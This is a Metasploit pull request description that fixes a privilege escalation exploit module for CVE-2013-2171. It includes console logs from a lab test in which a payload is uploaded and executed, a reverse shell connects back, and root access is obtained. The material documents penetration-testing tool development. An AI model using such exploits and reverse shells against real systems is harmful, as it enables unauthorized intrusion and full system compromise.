rapid7/metasploit-framework — pull request #2023 by jvazquez-r7 (2013-06-25 15:43:41+00:00)
Title: Fix CVE-2013-2171 with @jlee-r7 feedback

Fix the feedback provided by @jlee-r7, because I merged before giving him the opportunity to provide his feedback.

The write_file was overwritten by @wchen-r7 because the original one provided the the Post::File mixin fails:

```
msf exploit(mmap) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.6.0.165:4444
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data

```

Test after cleanup:

```
msf exploit(mmap) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:5555
[*] Payload /tmp/GgMX uploaded.
[*] Exploit /tmp/kDxk uploaded.
[*] Executing /tmp/kDxk
[*] Command shell session 4 opened (192.168.172.1:5555 -> 192.168.172.150:23580) at 2013-06-25 10:38:18 -0500

id
uid=0(root) gid=0(wheel) groups=0(wheel)
^C
Abort session 4? [y/N] y

[*] 192.168.172.150 - Command shell session 4 closed. Reason: User exit

```